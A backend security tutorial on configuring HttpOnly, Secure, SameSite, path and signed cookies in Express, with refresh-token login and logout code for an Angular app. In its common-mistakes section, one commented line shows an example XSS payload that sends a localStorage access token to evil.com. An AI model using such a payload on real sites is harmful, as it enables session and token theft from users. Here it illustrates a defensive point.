Cookies are one of the two primary mechanisms for maintaining authentication state in web applications — the other being tokens in HTTP headers (like JWTs in the Authorization header). Cookies have significant security implications: if a cookie is accessible to JavaScript or transmitted over HTTP, it can be stolen. The HttpOnly, Secure, and SameSite attributes are the three security flags that protect cookies from theft, interception, and CSRF attacks. Understanding how to configure cookies correctly — and when to choose cookies over Authorization headers for auth tokens — is a fundamental backend security skill.
Cookie Security Attributes
| Attribute | Values | Effect | Protects Against |
|---|---|---|---|
HttpOnly |
Flag (no value) | Cookie not accessible via JavaScript (document.cookie) |
XSS cookie theft |
Secure |
Flag (no value) | Cookie only sent over HTTPS | Network eavesdropping (man-in-the-middle) |
SameSite |
Strict / Lax / None |
Controls when cookie is sent on cross-site requests | CSRF attacks |
Domain |
Domain string | Which domains receive the cookie | Scope control |
Path |
Path string | Cookie sent only to matching paths | Scope limitation |
Max-Age |
Seconds | Expiry duration from now | Persistent cookies |
Expires |
Date string | Absolute expiry date/time | Persistent cookies |
SameSite Values Explained
| Value | When Cookie Is Sent | Best For |
|---|---|---|
Strict |
Only same-site requests — never on cross-site navigation or requests | Session cookies — maximum CSRF protection |
Lax |
Same-site requests + top-level cross-site navigation (clicking links) | Default in modern browsers — good balance |
None |
All requests including cross-site (requires Secure flag) |
Third-party auth, embedded widgets, OAuth flows |
JWT in Cookie vs Authorization Header
| Feature | HttpOnly Cookie | Authorization Header (localStorage) |
|---|---|---|
| XSS vulnerability | Protected — JS cannot read HttpOnly cookies | Vulnerable — localStorage accessible to JS |
| CSRF vulnerability | Must set SameSite=Strict or use CSRF token | Not vulnerable — JS must explicitly add header |
| Angular integration | Browser sends automatically — no code needed | Must add to every request via interceptor |
| Refresh token storage | Ideal — secure, automatic, JS-inaccessible | Risky — vulnerable to XSS if in localStorage |
| Mobile apps / API clients | Harder — cookies require explicit handling | Easy — just set the header |
HttpOnly and Secure in production. HttpOnly prevents JavaScript from reading the cookie. Secure ensures it is only sent over HTTPS. Together they make the cookie invisible to XSS attacks and unreadable on unencrypted connections. During local development (HTTP), omit Secure so cookies work on http://localhost — but enable it in staging and production via an environment variable.SameSite: 'Strict' can cause usability problems for single sign-on (SSO) flows, OAuth redirects, and any scenario where a user navigates to your app from another domain while expecting to be logged in. In those cases, SameSite: 'Lax' is the right default — it prevents CSRF while allowing normal navigational links. Only use SameSite: 'None' (with Secure) when your app is explicitly embedded in a third-party context.Cookie Implementation
// npm install cookie-parser
const cookieParser = require('cookie-parser');
// ── Register cookie-parser middleware ─────────────────────────────────────
app.use(cookieParser(process.env.COOKIE_SECRET)); // secret for signed cookies
// ── Setting cookies in controllers ───────────────────────────────────────
const isProd = process.env.NODE_ENV === 'production';
// Refresh token — stored in secure HttpOnly cookie
function setRefreshTokenCookie(res, refreshToken) {
res.cookie('refreshToken', refreshToken, {
httpOnly: true, // no JS access
secure: isProd, // HTTPS only in production
sameSite: 'strict', // prevent CSRF
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days in ms
path: '/api/v1/auth', // only sent to /api/v1/auth/* routes
});
}
// Clear the refresh token on logout
function clearRefreshTokenCookie(res) {
res.cookie('refreshToken', '', {
httpOnly: true,
secure: isProd,
sameSite: 'strict',
maxAge: 0, // expires immediately
path: '/api/v1/auth',
});
}
// ── Auth controller ───────────────────────────────────────────────────────
exports.login = asyncHandler(async (req, res) => {
const { email, password } = req.body;
const user = await AuthService.validateCredentials(email, password);
const accessToken = jwt.sign({ id: user._id, role: user.role }, process.env.JWT_SECRET, { expiresIn: '15m' });
const refreshToken = jwt.sign({ id: user._id }, process.env.REFRESH_SECRET, { expiresIn: '7d' });
// Save refresh token hash in DB
await User.findByIdAndUpdate(user._id, {
$push: { refreshTokens: { token: hashToken(refreshToken), expiresAt: addDays(7) } }
});
// Set refresh token as HttpOnly cookie
setRefreshTokenCookie(res, refreshToken);
// Return access token in JSON body (stored in Angular memory)
res.json({
success: true,
data: {
accessToken,
user: { id: user._id, name: user.name, email: user.email, role: user.role },
}
});
});
exports.logout = asyncHandler(async (req, res) => {
const token = req.cookies.refreshToken;
if (token) {
// Invalidate refresh token in DB
await User.findByIdAndUpdate(req.user.id, {
$pull: { refreshTokens: { token: hashToken(token) } }
});
}
clearRefreshTokenCookie(res);
res.status(204).end();
});
exports.refreshToken = asyncHandler(async (req, res) => {
const token = req.cookies.refreshToken;
if (!token) return res.status(401).json({ success: false, message: 'No refresh token' });
const decoded = jwt.verify(token, process.env.REFRESH_SECRET);
const user = await User.findById(decoded.id);
if (!user) return res.status(401).json({ success: false, message: 'User not found' });
const newAccessToken = jwt.sign({ id: user._id, role: user.role }, process.env.JWT_SECRET, { expiresIn: '15m' });
res.json({ success: true, data: { accessToken: newAccessToken } });
});
// ── Signed cookies — tamper-proof ─────────────────────────────────────────
// Signed cookies store an HMAC signature alongside the value
// If the client modifies the cookie value, the signature check fails
res.cookie('sessionData', JSON.stringify({ theme: 'dark', lang: 'en' }), {
signed: true, // requires cookieParser(secret)
httpOnly: false, // accessible to JS — used for non-sensitive prefs
maxAge: 30 * 24 * 60 * 60 * 1000, // 30 days
});
// Reading signed cookies
const sessionData = req.signedCookies.sessionData; // verified; null if tampered
const rawCookies = req.cookies.unsignedCookie; // all unsigned cookies
How It Works
Step 1 — HttpOnly Completely Blocks JavaScript Cookie Access
When a response includes Set-Cookie: token=abc; HttpOnly, the browser stores the cookie but removes it from JavaScript’s view entirely. document.cookie does not include it. document.cookie = 'token=...' cannot overwrite it. XSS malware that reads document.cookie cannot extract the token. The cookie is only sent automatically with HTTP requests — visible to the server, invisible to JavaScript.
Step 2 — Secure Ensures Cookies Travel Only Over HTTPS
The browser will not include a Secure cookie in requests over HTTP. Even if the user’s browser has stored the cookie, any HTTP request to the same server omits it. This prevents a man-in-the-middle attacker who intercepts HTTP traffic from seeing authentication tokens. Combine Secure with HSTS to ensure the browser always uses HTTPS before the cookie is ever sent.
Step 3 — SameSite Prevents CSRF Without Tokens
A CSRF attack tricks the user’s browser into sending an authenticated request to your API from a malicious third-party website. The browser automatically includes cookies in same-origin requests — including ones initiated by malicious sites. SameSite: 'Strict' prevents this: cookies are only sent when the request originates from the same site. The malicious site’s request is sent without the cookie, and the server rejects it as unauthenticated.
Step 4 — The path Option Limits Cookie Scope
Setting path: '/api/v1/auth' means the refresh token cookie is only included in requests to paths starting with /api/v1/auth. Requests to /api/v1/tasks do not include the refresh token cookie at all. This limits the exposure window — if a CSRF attack tricks the browser into making a task API call, the refresh token is not sent and cannot be abused. The refresh token is only ever sent to the specific endpoint that needs it.
Step 5 — Signed Cookies Provide Tamper Detection
Signed cookies store the value plus an HMAC (Hash-based Message Authentication Code) signature computed from the value and your secret. When the browser sends the cookie back, cookie-parser verifies the signature. If the user modifies the cookie’s value (to change a stored role from ‘user’ to ‘admin’, for example), the signature no longer matches and the cookie is treated as invalid. The value appears as null in req.signedCookies.
Common Mistakes
Mistake 1 — Storing JWTs in localStorage instead of memory or HttpOnly cookie
❌ Wrong — XSS can steal tokens from localStorage:
// Angular service — DO NOT do this for sensitive tokens
localStorage.setItem('accessToken', token); // readable by any JS on the page
// XSS payload: fetch('https://evil.com/steal?t=' + localStorage.getItem('accessToken'))
✅ Correct — store access token in memory, refresh token in HttpOnly cookie:
// Angular AuthService
private accessToken = signal<string | null>(null); // in-memory only
// Refresh token handled automatically by HttpOnly cookie — no Angular code needed
Mistake 2 — Not setting the path option on refresh token cookie
❌ Wrong — refresh token sent with every API request:
res.cookie('refreshToken', token, { httpOnly: true });
// Cookie sent to /api/tasks, /api/users, etc. — unnecessary exposure
✅ Correct — scope the cookie to the auth endpoint only:
res.cookie('refreshToken', token, { httpOnly: true, path: '/api/v1/auth' });
// Cookie ONLY sent to /api/v1/auth/* routes
Mistake 3 — Using secure: true in development over HTTP
❌ Wrong — cookie never sent because localhost uses HTTP:
res.cookie('token', value, { secure: true }); // in development over http://localhost
// Cookie is set in the browser but NEVER sent back — auth breaks silently
✅ Correct — conditionally set secure based on environment:
res.cookie('token', value, { secure: process.env.NODE_ENV === 'production' });
Quick Reference
| Option | Value | When to Use |
|---|---|---|
httpOnly |
true |
Always for auth tokens — prevents XSS theft |
secure |
isProd |
Always in production; off in local dev (HTTP) |
sameSite |
'strict' |
Refresh tokens, session cookies |
sameSite |
'lax' |
Default — most cookies — allows top-nav links |
sameSite |
'none' |
Third-party embeds, OAuth (requires secure) |
maxAge |
ms | Persistent cookies; omit for session cookies |
path |
'/api/v1/auth' |
Scope refresh token to auth endpoints only |
signed |
true |
Non-sensitive data that must not be tampered |